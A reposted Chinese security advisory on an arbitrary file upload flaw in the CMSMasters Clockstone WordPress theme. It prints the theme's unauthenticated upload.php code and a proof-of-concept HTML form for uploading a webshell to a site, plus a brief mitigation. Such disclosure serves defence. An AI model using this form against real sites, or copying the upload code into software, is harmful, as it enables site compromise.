WordPress 多个CMSMasters主题'upload.php'任意文件上传漏洞

SSV-AppDir: WordPress漏洞
发布时间: 2012-12-19 (GMT+0800)
漏洞版本:
cmsmasters Clockstone
漏洞描述:
BUGTRAQ  ID: 56988
Clockstone是Wordpress的终极主题,一个单一的主题内集合了众多功能。
WordPress的Clockstone主题和其他主题存在文件上传漏洞。存在该漏洞的原因是由于问题代码对已登录的用户没有进行身份验证操作。攻击者可通过上传任意文件到受害者站点,进而获取站点的访问权限。

主题内有漏洞的代码:
<?php
   if ($_POST['url']){ $uploaddir = $_POST['url']; }
   $first_filename = $_FILES['uploadfile']['name'];
   $filename = md5($first_filename);
   $ext = substr($first_filename, 1 + strrpos($first_filename, '.'));
   $file = $uploaddir . basename($filename.'.'.$ext);
   if (move_uploaded_file($_FILES['uploadfile']['tmp_name'], $file)){
       echo basename($filename.'.'.$ext);
   } else {
       echo 'error';
   }
?>

 <* 参考

测试方法:
程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!
Shell upload attack:<br />
   <form enctype="multipart/form-data" action="http://www.examplesite.com/wp-content/themes/clockstone/theme/functions/upload.php" method="post">
   <input type="text" name="url" value="./" /><br />
   Please choose a file: <input name="uploadfile" type="file" /><br />
   <input type="submit" value="Upload" />
   </form>
安全建议:
临时解决方法:

如果您不能立刻安装补丁或者升级,建议您采取以下措施以降低威胁:

* 禁用CMSMasters主题

 

转载于:https://www.cnblogs.com/security4399/archive/2012/12/27/2836478.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值